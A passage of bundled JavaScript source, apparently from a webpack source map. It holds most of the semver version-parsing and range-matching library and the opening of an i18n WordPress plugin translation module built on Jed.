(!this.prerelease.length && other.prerelease.length)\n    return 1;\n  else if (!this.prerelease.length && !other.prerelease.length)\n    return 0;\n\n  var i = 0;\n  do {\n    var a = this.prerelease[i];\n    var b = other.prerelease[i];\n    debug('prerelease compare', i, a, b);\n    if (a === undefined && b === undefined)\n      return 0;\n    else if (b === undefined)\n      return 1;\n    else if (a === undefined)\n      return -1;\n    else if (a === b)\n      continue;\n    else\n      return compareIdentifiers(a, b);\n  } while (++i);\n};\n\n// preminor will bump the version up to the next minor release, and immediately\n// down to pre-release. premajor and prepatch work the same way.\nSemVer.prototype.inc = function(release, identifier) {\n  switch (release) {\n    case 'premajor':\n      this.prerelease.length = 0;\n      this.patch = 0;\n      this.minor = 0;\n      this.major++;\n      this.inc('pre', identifier);\n      break;\n    case 'preminor':\n      this.prerelease.length = 0;\n      this.patch = 0;\n      this.minor++;\n      this.inc('pre', identifier);\n      break;\n    case 'prepatch':\n      // If this is already a prerelease, it will bump to the next version\n      // drop any prereleases that might already exist, since they are not\n      // relevant at this point.\n      this.prerelease.length = 0;\n      this.inc('patch', identifier);\n      this.inc('pre', identifier);\n      break;\n    // If the input is a non-prerelease version, this acts the same as\n    // prepatch.\n    case 'prerelease':\n      if (this.prerelease.length === 0)\n        this.inc('patch', identifier);\n      this.inc('pre', identifier);\n      break;\n\n    case 'major':\n      // If this is a pre-major version, bump up to the same major version.\n      // Otherwise increment major.\n      // 1.0.0-5 bumps to 1.0.0\n      // 1.1.0 bumps to 2.0.0\n      if (this.minor !== 0 || this.patch !== 0 || this.prerelease.length === 0)\n        this.major++;\n      this.minor = 0;\n      this.patch = 0;\n      this.prerelease = [];\n      break;\n    case 'minor':\n      // If this is a pre-minor version, bump up to the same minor version.\n      // Otherwise increment minor.\n      // 1.2.0-5 bumps to 1.2.0\n      // 1.2.1 bumps to 1.3.0\n      if (this.patch !== 0 || this.prerelease.length === 0)\n        this.minor++;\n      this.patch = 0;\n      this.prerelease = [];\n      break;\n    case 'patch':\n      // If this is not a pre-release version, it will increment the patch.\n      // If it is a pre-release it will bump up to the same patch version.\n      // 1.2.0-5 patches to 1.2.0\n      // 1.2.0 patches to 1.2.1\n      if (this.prerelease.length === 0)\n        this.patch++;\n      this.prerelease = [];\n      break;\n    // This probably shouldn't be used publicly.\n    // 1.0.0 \"pre\" would become 1.0.0-0 which is the wrong direction.\n    case 'pre':\n      if (this.prerelease.length === 0)\n        this.prerelease = [0];\n      else {\n        var i = this.prerelease.length;\n        while (--i >= 0) {\n          if (typeof this.prerelease[i] === 'number') {\n            this.prerelease[i]++;\n            i = -2;\n          }\n        }\n        if (i === -1) // didn't increment anything\n          this.prerelease.push(0);\n      }\n      if (identifier) {\n        // 1.2.0-beta.1 bumps to 1.2.0-beta.2,\n        // 1.2.0-beta.fooblz or 1.2.0-beta bumps to 1.2.0-beta.0\n        if (this.prerelease[0] === identifier) {\n          if (isNaN(this.prerelease[1]))\n            this.prerelease = [identifier, 0];\n        } else\n          this.prerelease = [identifier, 0];\n      }\n      break;\n\n    default:\n      throw new Error('invalid increment argument: ' + release);\n  }\n  this.format();\n  this.raw = this.version;\n  return this;\n};\n\nexports.inc = inc;\nfunction inc(version, release, loose, identifier) {\n  if (typeof(loose) === 'string') {\n    identifier = loose;\n    loose = undefined;\n  }\n\n  try {\n    return new SemVer(version, loose).inc(release, identifier).version;\n  } catch (er) {\n    return null;\n  }\n}\n\nexports.diff = diff;\nfunction diff(version1, version2) {\n  if (eq(version1, version2)) {\n    return null;\n  } else {\n    var v1 = parse(version1);\n    var v2 = parse(version2);\n    if (v1.prerelease.length || v2.prerelease.length) {\n      for (var key in v1) {\n        if (key === 'major' || key === 'minor' || key === 'patch') {\n          if (v1[key] !== v2[key]) {\n            return 'pre'+key;\n          }\n        }\n      }\n      return 'prerelease';\n    }\n    for (var key in v1) {\n      if (key === 'major' || key === 'minor' || key === 'patch') {\n        if (v1[key] !== v2[key]) {\n          return key;\n        }\n      }\n    }\n  }\n}\n\nexports.compareIdentifiers = compareIdentifiers;\n\nvar numeric = /^[0-9]+$/;\nfunction compareIdentifiers(a, b) {\n  var anum = numeric.test(a);\n  var bnum = numeric.test(b);\n\n  if (anum && bnum) {\n    a = +a;\n    b = +b;\n  }\n\n  return (anum && !bnum) ? -1 :\n         (bnum && !anum) ? 1 :\n         a < b ? -1 :\n         a > b ? 1 :\n         0;\n}\n\nexports.rcompareIdentifiers = rcompareIdentifiers;\nfunction rcompareIdentifiers(a, b) {\n  return compareIdentifiers(b, a);\n}\n\nexports.major = major;\nfunction major(a, loose) {\n  return new SemVer(a, loose).major;\n}\n\nexports.minor = minor;\nfunction minor(a, loose) {\n  return new SemVer(a, loose).minor;\n}\n\nexports.patch = patch;\nfunction patch(a, loose) {\n  return new SemVer(a, loose).patch;\n}\n\nexports.compare = compare;\nfunction compare(a, b, loose) {\n  return new SemVer(a, loose).compare(new SemVer(b, loose));\n}\n\nexports.compareLoose = compareLoose;\nfunction compareLoose(a, b) {\n  return compare(a, b, true);\n}\n\nexports.rcompare = rcompare;\nfunction rcompare(a, b, loose) {\n  return compare(b, a, loose);\n}\n\nexports.sort = sort;\nfunction sort(list, loose) {\n  return list.sort(function(a, b) {\n    return exports.compare(a, b, loose);\n  });\n}\n\nexports.rsort = rsort;\nfunction rsort(list, loose) {\n  return list.sort(function(a, b) {\n    return exports.rcompare(a, b, loose);\n  });\n}\n\nexports.gt = gt;\nfunction gt(a, b, loose) {\n  return compare(a, b, loose) > 0;\n}\n\nexports.lt = lt;\nfunction lt(a, b, loose) {\n  return compare(a, b, loose) < 0;\n}\n\nexports.eq = eq;\nfunction eq(a, b, loose) {\n  return compare(a, b, loose) === 0;\n}\n\nexports.neq = neq;\nfunction neq(a, b, loose) {\n  return compare(a, b, loose) !== 0;\n}\n\nexports.gte = gte;\nfunction gte(a, b, loose) {\n  return compare(a, b, loose) >= 0;\n}\n\nexports.lte = lte;\nfunction lte(a, b, loose) {\n  return compare(a, b, loose) <= 0;\n}\n\nexports.cmp = cmp;\nfunction cmp(a, op, b, loose) {\n  var ret;\n  switch (op) {\n    case '===':\n      if (typeof a === 'object') a = a.version;\n      if (typeof b === 'object') b = b.version;\n      ret = a === b;\n      break;\n    case '!==':\n      if (typeof a === 'object') a = a.version;\n      if (typeof b === 'object') b = b.version;\n      ret = a !== b;\n      break;\n    case '': case '=': case '==': ret = eq(a, b, loose); break;\n    case '!=': ret = neq(a, b, loose); break;\n    case '>': ret = gt(a, b, loose); break;\n    case '>=': ret = gte(a, b, loose); break;\n    case '<': ret = lt(a, b, loose); break;\n    case '<=': ret = lte(a, b, loose); break;\n    default: throw new TypeError('Invalid operator: ' + op);\n  }\n  return ret;\n}\n\nexports.Comparator = Comparator;\nfunction Comparator(comp, loose) {\n  if (comp instanceof Comparator) {\n    if (comp.loose === loose)\n      return comp;\n    else\n      comp = comp.value;\n  }\n\n  if (!(this instanceof Comparator))\n    return new Comparator(comp, loose);\n\n  debug('comparator', comp, loose);\n  this.loose = loose;\n  this.parse(comp);\n\n  if (this.semver === ANY)\n    this.value = '';\n  else\n    this.value = this.operator + this.semver.version;\n\n  debug('comp', this);\n}\n\nvar ANY = {};\nComparator.prototype.parse = function(comp) {\n  var r = this.loose ? re[COMPARATORLOOSE] : re[COMPARATOR];\n  var m = comp.match(r);\n\n  if (!m)\n    throw new TypeError('Invalid comparator: ' + comp);\n\n  this.operator = m[1];\n  if (this.operator === '=')\n    this.operator = '';\n\n  // if it literally is just '>' or '' then allow anything.\n  if (!m[2])\n    this.semver = ANY;\n  else\n    this.semver = new SemVer(m[2], this.loose);\n};\n\nComparator.prototype.toString = function() {\n  return this.value;\n};\n\nComparator.prototype.test = function(version) {\n  debug('Comparator.test', version, this.loose);\n\n  if (this.semver === ANY)\n    return true;\n\n  if (typeof version === 'string')\n    version = new SemVer(version, this.loose);\n\n  return cmp(version, this.operator, this.semver, this.loose);\n};\n\nComparator.prototype.intersects = function(comp, loose) {\n  if (!(comp instanceof Comparator)) {\n    throw new TypeError('a Comparator is required');\n  }\n\n  var rangeTmp;\n\n  if (this.operator === '') {\n    rangeTmp = new Range(comp.value, loose);\n    return satisfies(this.value, rangeTmp, loose);\n  } else if (comp.operator === '') {\n    rangeTmp = new Range(this.value, loose);\n    return satisfies(comp.semver, rangeTmp, loose);\n  }\n\n  var sameDirectionIncreasing =\n    (this.operator === '>=' || this.operator === '>') &&\n    (comp.operator === '>=' || comp.operator === '>');\n  var sameDirectionDecreasing =\n    (this.operator === '<=' || this.operator === '<') &&\n    (comp.operator === '<=' || comp.operator === '<');\n  var sameSemVer = this.semver.version === comp.semver.version;\n  var differentDirectionsInclusive =\n    (this.operator === '>=' || this.operator === '<=') &&\n    (comp.operator === '>=' || comp.operator === '<=');\n  var oppositeDirectionsLessThan =\n    cmp(this.semver, '<', comp.semver, loose) &&\n    ((this.operator === '>=' || this.operator === '>') &&\n    (comp.operator === '<=' || comp.operator === '<'));\n  var oppositeDirectionsGreaterThan =\n    cmp(this.semver, '>', comp.semver, loose) &&\n    ((this.operator === '<=' || this.operator === '<') &&\n    (comp.operator === '>=' || comp.operator === '>'));\n\n  return sameDirectionIncreasing || sameDirectionDecreasing ||\n    (sameSemVer && differentDirectionsInclusive) ||\n    oppositeDirectionsLessThan || oppositeDirectionsGreaterThan;\n};\n\n\nexports.Range = Range;\nfunction Range(range, loose) {\n  if (range instanceof Range) {\n    if (range.loose === loose) {\n      return range;\n    } else {\n      return new Range(range.raw, loose);\n    }\n  }\n\n  if (range instanceof Comparator) {\n    return new Range(range.value, loose);\n  }\n\n  if (!(this instanceof Range))\n    return new Range(range, loose);\n\n  this.loose = loose;\n\n  // First, split based on boolean or ||\n  this.raw = range;\n  this.set = range.split(/\\s*\\|\\|\\s*/).map(function(range) {\n    return this.parseRange(range.trim());\n  }, this).filter(function(c) {\n    // throw out any that are not relevant for whatever reason\n    return c.length;\n  });\n\n  if (!this.set.length) {\n    throw new TypeError('Invalid SemVer Range: ' + range);\n  }\n\n  this.format();\n}\n\nRange.prototype.format = function() {\n  this.range = this.set.map(function(comps) {\n    return comps.join(' ').trim();\n  }).join('||').trim();\n  return this.range;\n};\n\nRange.prototype.toString = function() {\n  return this.range;\n};\n\nRange.prototype.parseRange = function(range) {\n  var loose = this.loose;\n  range = range.trim();\n  debug('range', range, loose);\n  // `1.2.3 - 1.2.4` => `>=1.2.3 <=1.2.4`\n  var hr = loose ? re[HYPHENRANGELOOSE] : re[HYPHENRANGE];\n  range = range.replace(hr, hyphenReplace);\n  debug('hyphen replace', range);\n  // `> 1.2.3 < 1.2.5` => `>1.2.3 <1.2.5`\n  range = range.replace(re[COMPARATORTRIM], comparatorTrimReplace);\n  debug('comparator trim', range, re[COMPARATORTRIM]);\n\n  // `~ 1.2.3` => `~1.2.3`\n  range = range.replace(re[TILDETRIM], tildeTrimReplace);\n\n  // `^ 1.2.3` => `^1.2.3`\n  range = range.replace(re[CARETTRIM], caretTrimReplace);\n\n  // normalize spaces\n  range = range.split(/\\s+/).join(' ');\n\n  // At this point, the range is completely trimmed and\n  // ready to be split into comparators.\n\n  var compRe = loose ? re[COMPARATORLOOSE] : re[COMPARATOR];\n  var set = range.split(' ').map(function(comp) {\n    return parseComparator(comp, loose);\n  }).join(' ').split(/\\s+/);\n  if (this.loose) {\n    // in loose mode, throw out any that are not valid comparators\n    set = set.filter(function(comp) {\n      return !!comp.match(compRe);\n    });\n  }\n  set = set.map(function(comp) {\n    return new Comparator(comp, loose);\n  });\n\n  return set;\n};\n\nRange.prototype.intersects = function(range, loose) {\n  if (!(range instanceof Range)) {\n    throw new TypeError('a Range is required');\n  }\n\n  return this.set.some(function(thisComparators) {\n    return thisComparators.every(function(thisComparator) {\n      return range.set.some(function(rangeComparators) {\n        return rangeComparators.every(function(rangeComparator) {\n          return thisComparator.intersects(rangeComparator, loose);\n        });\n      });\n    });\n  });\n};\n\n// Mostly just for testing and legacy API reasons\nexports.toComparators = toComparators;\nfunction toComparators(range, loose) {\n  return new Range(range, loose).set.map(function(comp) {\n    return comp.map(function(c) {\n      return c.value;\n    }).join(' ').trim().split(' ');\n  });\n}\n\n// comprised of xranges, tildes, stars, and gtlt's at this point.\n// already replaced the hyphen ranges\n// turn into a set of JUST comparators.\nfunction parseComparator(comp, loose) {\n  debug('comp', comp);\n  comp = replaceCarets(comp, loose);\n  debug('caret', comp);\n  comp = replaceTildes(comp, loose);\n  debug('tildes', comp);\n  comp = replaceXRanges(comp, loose);\n  debug('xrange', comp);\n  comp = replaceStars(comp, loose);\n  debug('stars', comp);\n  return comp;\n}\n\nfunction isX(id) {\n  return !id || id.toLowerCase() === 'x' || id === '*';\n}\n\n// ~, ~> --> * (any, kinda silly)\n// ~2, ~2.x, ~2.x.x, ~>2, ~>2.x ~>2.x.x --> >=2.0.0 <3.0.0\n// ~2.0, ~2.0.x, ~>2.0, ~>2.0.x --> >=2.0.0 <2.1.0\n// ~1.2, ~1.2.x, ~>1.2, ~>1.2.x --> >=1.2.0 <1.3.0\n// ~1.2.3, ~>1.2.3 --> >=1.2.3 <1.3.0\n// ~1.2.0, ~>1.2.0 --> >=1.2.0 <1.3.0\nfunction replaceTildes(comp, loose) {\n  return comp.trim().split(/\\s+/).map(function(comp) {\n    return replaceTilde(comp, loose);\n  }).join(' ');\n}\n\nfunction replaceTilde(comp, loose) {\n  var r = loose ? re[TILDELOOSE] : re[TILDE];\n  return comp.replace(r, function(_, M, m, p, pr) {\n    debug('tilde', comp, _, M, m, p, pr);\n    var ret;\n\n    if (isX(M))\n      ret = '';\n    else if (isX(m))\n      ret = '>=' + M + '.0.0 <' + (+M + 1) + '.0.0';\n    else if (isX(p))\n      // ~1.2 == >=1.2.0 <1.3.0\n      ret = '>=' + M + '.' + m + '.0 <' + M + '.' + (+m + 1) + '.0';\n    else if (pr) {\n      debug('replaceTilde pr', pr);\n      if (pr.charAt(0) !== '-')\n        pr = '-' + pr;\n      ret = '>=' + M + '.' + m + '.' + p + pr +\n            ' <' + M + '.' + (+m + 1) + '.0';\n    } else\n      // ~1.2.3 == >=1.2.3 <1.3.0\n      ret = '>=' + M + '.' + m + '.' + p +\n            ' <' + M + '.' + (+m + 1) + '.0';\n\n    debug('tilde return', ret);\n    return ret;\n  });\n}\n\n// ^ --> * (any, kinda silly)\n// ^2, ^2.x, ^2.x.x --> >=2.0.0 <3.0.0\n// ^2.0, ^2.0.x --> >=2.0.0 <3.0.0\n// ^1.2, ^1.2.x --> >=1.2.0 <2.0.0\n// ^1.2.3 --> >=1.2.3 <2.0.0\n// ^1.2.0 --> >=1.2.0 <2.0.0\nfunction replaceCarets(comp, loose) {\n  return comp.trim().split(/\\s+/).map(function(comp) {\n    return replaceCaret(comp, loose);\n  }).join(' ');\n}\n\nfunction replaceCaret(comp, loose) {\n  debug('caret', comp, loose);\n  var r = loose ? re[CARETLOOSE] : re[CARET];\n  return comp.replace(r, function(_, M, m, p, pr) {\n    debug('caret', comp, _, M, m, p, pr);\n    var ret;\n\n    if (isX(M))\n      ret = '';\n    else if (isX(m))\n      ret = '>=' + M + '.0.0 <' + (+M + 1) + '.0.0';\n    else if (isX(p)) {\n      if (M === '0')\n        ret = '>=' + M + '.' + m + '.0 <' + M + '.' + (+m + 1) + '.0';\n      else\n        ret = '>=' + M + '.' + m + '.0 <' + (+M + 1) + '.0.0';\n    } else if (pr) {\n      debug('replaceCaret pr', pr);\n      if (pr.charAt(0) !== '-')\n        pr = '-' + pr;\n      if (M === '0') {\n        if (m === '0')\n          ret = '>=' + M + '.' + m + '.' + p + pr +\n                ' <' + M + '.' + m + '.' + (+p + 1);\n        else\n          ret = '>=' + M + '.' + m + '.' + p + pr +\n                ' <' + M + '.' + (+m + 1) + '.0';\n      } else\n        ret = '>=' + M + '.' + m + '.' + p + pr +\n              ' <' + (+M + 1) + '.0.0';\n    } else {\n      debug('no pr');\n      if (M === '0') {\n        if (m === '0')\n          ret = '>=' + M + '.' + m + '.' + p +\n                ' <' + M + '.' + m + '.' + (+p + 1);\n        else\n          ret = '>=' + M + '.' + m + '.' + p +\n                ' <' + M + '.' + (+m + 1) + '.0';\n      } else\n        ret = '>=' + M + '.' + m + '.' + p +\n              ' <' + (+M + 1) + '.0.0';\n    }\n\n    debug('caret return', ret);\n    return ret;\n  });\n}\n\nfunction replaceXRanges(comp, loose) {\n  debug('replaceXRanges', comp, loose);\n  return comp.split(/\\s+/).map(function(comp) {\n    return replaceXRange(comp, loose);\n  }).join(' ');\n}\n\nfunction replaceXRange(comp, loose) {\n  comp = comp.trim();\n  var r = loose ? re[XRANGELOOSE] : re[XRANGE];\n  return comp.replace(r, function(ret, gtlt, M, m, p, pr) {\n    debug('xRange', comp, ret, gtlt, M, m, p, pr);\n    var xM = isX(M);\n    var xm = xM || isX(m);\n    var xp = xm || isX(p);\n    var anyX = xp;\n\n    if (gtlt === '=' && anyX)\n      gtlt = '';\n\n    if (xM) {\n      if (gtlt === '>' || gtlt === '<') {\n        // nothing is allowed\n        ret = '<0.0.0';\n      } else {\n        // nothing is forbidden\n        ret = '*';\n      }\n    } else if (gtlt && anyX) {\n      // replace X with 0\n      if (xm)\n        m = 0;\n      if (xp)\n        p = 0;\n\n      if (gtlt === '>') {\n        // >1 => >=2.0.0\n        // >1.2 => >=1.3.0\n        // >1.2.3 => >= 1.2.4\n        gtlt = '>=';\n        if (xm) {\n          M = +M + 1;\n          m = 0;\n          p = 0;\n        } else if (xp) {\n          m = +m + 1;\n          p = 0;\n        }\n      } else if (gtlt === '<=') {\n        // <=0.7.x is actually <0.8.0, since any 0.7.x should\n        // pass.  Similarly, <=7.x is actually <8.0.0, etc.\n        gtlt = '<';\n        if (xm)\n          M = +M + 1;\n        else\n          m = +m + 1;\n      }\n\n      ret = gtlt + M + '.' + m + '.' + p;\n    } else if (xm) {\n      ret = '>=' + M + '.0.0 <' + (+M + 1) + '.0.0';\n    } else if (xp) {\n      ret = '>=' + M + '.' + m + '.0 <' + M + '.' + (+m + 1) + '.0';\n    }\n\n    debug('xRange return', ret);\n\n    return ret;\n  });\n}\n\n// Because * is AND-ed with everything else in the comparator,\n// and '' means \"any version\", just remove the *s entirely.\nfunction replaceStars(comp, loose) {\n  debug('replaceStars', comp, loose);\n  // Looseness is ignored here.  star is always as loose as it gets!\n  return comp.trim().replace(re[STAR], '');\n}\n\n// This function is passed to string.replace(re[HYPHENRANGE])\n// M, m, patch, prerelease, build\n// 1.2 - 3.4.5 => >=1.2.0 <=3.4.5\n// 1.2.3 - 3.4 => >=1.2.0 <3.5.0 Any 3.4.x will do\n// 1.2 - 3.4 => >=1.2.0 <3.5.0\nfunction hyphenReplace($0,\n                       from, fM, fm, fp, fpr, fb,\n                       to, tM, tm, tp, tpr, tb) {\n\n  if (isX(fM))\n    from = '';\n  else if (isX(fm))\n    from = '>=' + fM + '.0.0';\n  else if (isX(fp))\n    from = '>=' + fM + '.' + fm + '.0';\n  else\n    from = '>=' + from;\n\n  if (isX(tM))\n    to = '';\n  else if (isX(tm))\n    to = '<' + (+tM + 1) + '.0.0';\n  else if (isX(tp))\n    to = '<' + tM + '.' + (+tm + 1) + '.0';\n  else if (tpr)\n    to = '<=' + tM + '.' + tm + '.' + tp + '-' + tpr;\n  else\n    to = '<=' + to;\n\n  return (from + ' ' + to).trim();\n}\n\n\n// if ANY of the sets match ALL of its comparators, then pass\nRange.prototype.test = function(version) {\n  if (!version)\n    return false;\n\n  if (typeof version === 'string')\n    version = new SemVer(version, this.loose);\n\n  for (var i = 0; i < this.set.length; i++) {\n    if (testSet(this.set[i], version))\n      return true;\n  }\n  return false;\n};\n\nfunction testSet(set, version) {\n  for (var i = 0; i < set.length; i++) {\n    if (!set[i].test(version))\n      return false;\n  }\n\n  if (version.prerelease.length) {\n    // Find the set of versions that are allowed to have prereleases\n    // For example, ^1.2.3-pr.1 desugars to >=1.2.3-pr.1 <2.0.0\n    // That should allow `1.2.3-pr.2` to pass.\n    // However, `1.2.4-alpha.notready` should NOT be allowed,\n    // even though it's within the range set by the comparators.\n    for (var i = 0; i < set.length; i++) {\n      debug(set[i].semver);\n      if (set[i].semver === ANY)\n        continue;\n\n      if (set[i].semver.prerelease.length > 0) {\n        var allowed = set[i].semver;\n        if (allowed.major === version.major &&\n            allowed.minor === version.minor &&\n            allowed.patch === version.patch)\n          return true;\n      }\n    }\n\n    // Version has a -pre, but it's not one of the ones we like.\n    return false;\n  }\n\n  return true;\n}\n\nexports.satisfies = satisfies;\nfunction satisfies(version, range, loose) {\n  try {\n    range = new Range(range, loose);\n  } catch (er) {\n    return false;\n  }\n  return range.test(version);\n}\n\nexports.maxSatisfying = maxSatisfying;\nfunction maxSatisfying(versions, range, loose) {\n  var max = null;\n  var maxSV = null;\n  try {\n    var rangeObj = new Range(range, loose);\n  } catch (er) {\n    return null;\n  }\n  versions.forEach(function (v) {\n    if (rangeObj.test(v)) { // satisfies(v, range, loose)\n      if (!max || maxSV.compare(v) === -1) { // compare(max, v, true)\n        max = v;\n        maxSV = new SemVer(max, loose);\n      }\n    }\n  })\n  return max;\n}\n\nexports.minSatisfying = minSatisfying;\nfunction minSatisfying(versions, range, loose) {\n  var min = null;\n  var minSV = null;\n  try {\n    var rangeObj = new Range(range, loose);\n  } catch (er) {\n    return null;\n  }\n  versions.forEach(function (v) {\n    if (rangeObj.test(v)) { // satisfies(v, range, loose)\n      if (!min || minSV.compare(v) === 1) { // compare(min, v, true)\n        min = v;\n        minSV = new SemVer(min, loose);\n      }\n    }\n  })\n  return min;\n}\n\nexports.validRange = validRange;\nfunction validRange(range, loose) {\n  try {\n    // Return '*' instead of '' so that truthiness works.\n    // This will throw if it's invalid anyway\n    return new Range(range, loose).range || '*';\n  } catch (er) {\n    return null;\n  }\n}\n\n// Determine if version is less than all the versions possible in the range\nexports.ltr = ltr;\nfunction ltr(version, range, loose) {\n  return outside(version, range, '<', loose);\n}\n\n// Determine if version is greater than all the versions possible in the range.\nexports.gtr = gtr;\nfunction gtr(version, range, loose) {\n  return outside(version, range, '>', loose);\n}\n\nexports.outside = outside;\nfunction outside(version, range, hilo, loose) {\n  version = new SemVer(version, loose);\n  range = new Range(range, loose);\n\n  var gtfn, ltefn, ltfn, comp, ecomp;\n  switch (hilo) {\n    case '>':\n      gtfn = gt;\n      ltefn = lte;\n      ltfn = lt;\n      comp = '>';\n      ecomp = '>=';\n      break;\n    case '<':\n      gtfn = lt;\n      ltefn = gte;\n      ltfn = gt;\n      comp = '<';\n      ecomp = '<=';\n      break;\n    default:\n      throw new TypeError('Must provide a hilo val of \"<\" or \">\"');\n  }\n\n  // If it satisifes the range it is not outside\n  if (satisfies(version, range, loose)) {\n    return false;\n  }\n\n  // From now on, variable terms are as if we're in \"gtr\" mode.\n  // but note that everything is flipped for the \"ltr\" function.\n\n  for (var i = 0; i < range.set.length; ++i) {\n    var comparators = range.set[i];\n\n    var high = null;\n    var low = null;\n\n    comparators.forEach(function(comparator) {\n      if (comparator.semver === ANY) {\n        comparator = new Comparator('>=0.0.0')\n      }\n      high = high || comparator;\n      low = low || comparator;\n      if (gtfn(comparator.semver, high.semver, loose)) {\n        high = comparator;\n      } else if (ltfn(comparator.semver, low.semver, loose)) {\n        low = comparator;\n      }\n    });\n\n    // If the edge version comparator has a operator then our version\n    // isn't outside it\n    if (high.operator === comp || high.operator === ecomp) {\n      return false;\n    }\n\n    // If the lowest version comparator has an operator and our version\n    // is less than it then it isn't higher than the range\n    if ((!low.operator || low.operator === comp) &&\n        ltefn(version, low.semver)) {\n      return false;\n    } else if (low.operator === ecomp && ltfn(version, low.semver)) {\n      return false;\n    }\n  }\n  return true;\n}\n\nexports.prerelease = prerelease;\nfunction prerelease(version, loose) {\n  var parsed = parse(version, loose);\n  return (parsed && parsed.prerelease.length) ? parsed.prerelease : null;\n}\n\nexports.intersects = intersects;\nfunction intersects(r1, r2, loose) {\n  r1 = new Range(r1, loose)\n  r2 = new Range(r2, loose)\n  return r1.intersects(r2)\n}\n\nexports.coerce = coerce;\nfunction coerce(version) {\n  if (version instanceof SemVer)\n    return version;\n\n  if (typeof version !== 'string')\n    return null;\n\n  var match = version.match(re[COERCE]);\n\n  if (match == null)\n    return null;\n\n  return parse((match[1] || '0') + '.' + (match[2] || '0') + '.' + (match[3] || '0')); \n}\n\n\n\n//////////////////\n// WEBPACK FOOTER\n// ./node_modules/semver/semver.js\n// module id = 91\n// module chunks = 0 1 2 3 4 5","/**\n * External dependencies\n */\nvar debug = require( 'debug' )( 'i18n-wp-plugin' ),\n\tJed = require( 'jed' ),\n\tsha1 = require( 'hash.js/lib/hash/sha/1' ),\n\tEventEmitter = require( 'events' ).EventEmitter,\n\tinterpolateComponents = require( 'interpolate-components' ).default,\n\tLRU = require( 'lru' ),\n\tassign = require( 'lodash.assign' );\n\n/**\n * Internal dependencies\n */\nvar numberFormatPHPJS = require( './number-format' );\n\n/**\n * Constants\n */\nvar decimal_point_translation_key = 'number_format_decimals',\n\tthousands_sep_translation_key = 'number_format_thousands_sep';\n\nvar translationLookup = [\n\t// By default don't modify the options when looking up translations.\n\tfunction( options ) {\n\t\treturn options;\n\t}\n];\n\nvar hashCache = {};\n\n// raise a console warning\nfunction warn() {\n\tif ( ! I18N.throwErrors ) {\n\t\treturn;\n\t}\n\tif ( 'undefined' !== typeof window && window.console && window.console.warn ) {\n\t\twindow.console.warn.apply( window.console, arguments );\n\t}\n}\n\n// turns Function.arguments into an array\nfunction simpleArguments( args ) {\n\treturn Array.prototype.slice.call( args );\n}\n\n/**\n * Coerce the possible arguments and normalize to a single object\n * @param  {arguments} args - arguments passed in from `translate()`\n * @return {object}         - a single object describing translation needs\n */\nfunction normalizeTranslateArguments( args ) {\n\tvar original = args[ 0 ],\n\t\toptions = {},\n\t\ti;\n\n\t// warn about older deprecated syntax\n\tif ( typeof original !== 'string' || args.length > 3 || ( args.length > 2 && typeof args[ 1 ] === 'object' && typeof args[ 2 ] === 'object' ) ) {\n\t\twarn( 'Deprecated Invocation: `translate()` accepts ( string, [string], [object] ). These arguments passed:', simpleArguments( args ), '. See https://github.com/pentatonicfunk/i18n-wp-plugin#translate-method' );\n\t}\n\tif ( args.length === 2 && typeof original === 'string' && typeof args[ 1 ] === 'string' ) {\n\t\twarn( 'Invalid Invocation: `translate()` requires an options object for plural translations, but passed:', simpleArguments( args ) );\n\t}\n\n\t// options could be in position 0, 1, or 2\n\t// sending options as the first object is deprecated and will raise a warning\n\tfor ( i = 0; i < args.length; i++ ) {\n\t\tif ( typeof args[ i ] === 'object' ) {\n\t\t\toptions = args[ i ];\n\t\t}\n\t}\n\n\t// `original` can be passed as first parameter or as part of the options object\n\t// though passing original as part of the options is a deprecated approach and will be removed\n\tif ( typeof original === 'string' ) {\n\t\toptions.original = original;\n\t} else if ( typeof options.original === 'object' ) {\n\t\toptions.plural = options.original.plural;\n\t\toptions.count = options.original.count;\n\t\toptions.original = options.original.single;\n\t}\n\tif ( typeof args[ 1 ] === 'string' ) {\n\t\toptions.plural = args[ 1 ];\n\t}\n\n\tif ( typeof options.original === 'undefined' ) {\n\t\tthrow new Error( 'Translate called without a `string` value as first argument.' );\n\t}\n\n\treturn options;\n}\n\n/**\n * Pull the right set of arguments for the Jed method\n * @param  {string} jedMethod Name of jed gettext-style method. [See docs](http://slexaxton.github.io/Jed/)\n * @param  {[object]} props     properties passed into `translate()` method\n * @return {[array]}           array of properties to pass into gettext-style method\n */\nfunction getJedArgs( jedMethod, props ) {\n\tswitch ( jedMethod ) {\n\t\tcase 'gettext':\n\t\t\treturn [ props.original ];\n\t\tcase 'ngettext':\n\t\t\treturn [ props.original, props.plural, props.count ];\n\t\tcase 'npgettext':\n\t\t\treturn [ props.context, props.original, props.plural, props.count ];\n\t\tcase 'pgettext':\n\t\t\treturn [ props.context, props.original ];\n\t}\n\n\treturn [];\n}\n\n/**\n * Takes translate options object and coerces to a Jed request to retrieve translation\n * @param  {object} jed     - jed data object\n * @param  {object} options - object describing translation\n * @return {string}         - the returned translation from Jed\n */\nfunction getTranslationFromJed( jed, options ) {\n\tvar jedMethod = 'gettext',\n\t\tjedArgs;\n\n\tif ( options.context ) {\n\t\tjedMethod = 'p' + jedMethod;\n\t}\n\n\tif ( typeof options.original === 'string' && typeof options.plural === 'string' ) {\n\t\tjedMethod = 'n' + jedMethod;\n\t}\n\n\tjedArgs = getJedArgs( jedMethod, options );\n\n\treturn jed[ jedMethod ].apply( jed, jedArgs );\n}\n\nfunction getTranslation( i18n, options ) {\n\tvar i, lookup;\n\n\tfor ( i = translationLookup.length - 1; i >= 0; i-- ) {\n\t\tlookup = translationLookup[ i ]( assign( {}, options ) );\n\t\t// Only get the translation from jed if it exists.\n\t\tif ( i18n.state.locale[ lookup.original ] ) {\n\t\t\treturn getTranslationFromJed( i18n.state.jed, lookup );\n\t\t}\n\t}\n\n\treturn null;\n}\n\n\nfunction I18N() {\n\tif( ! ( this instanceof I18N ) ) {\n\t\treturn new I18N();\n\t}\n\tthis.defaultLocaleSlug = 'en';\n\tthis.state = {\n\t\tnumberFormatSettings: {},\n\t\tjed: undefined,\n\t\tlocale: undefined,\n\t\tlocaleSlug: undefined,\n\t\ttranslations: LRU( { max: 100 } )\n\t};\n\tthis.componentUpdateHooks = [];\n\tthis.translateHooks = [];\n\tthis.stateObserver = new EventEmitter();\n\t// Because the higher-order component can wrap a ton of React components,\n\t// we need to bump the number of listeners to infinity and beyond\n\t// FIXME: still valid?\n\tthis.stateObserver.setMaxListeners( 0 );\n\t// default configuration\n\tthis.configure();\n}\n\nI18N.throwErrors = false;\n\n/**\n * Formats numbers using locale settings and/or passed options\n * @param  {String|Number|Int}  number to format (required)\n * @param  {Int|object} options  Number of 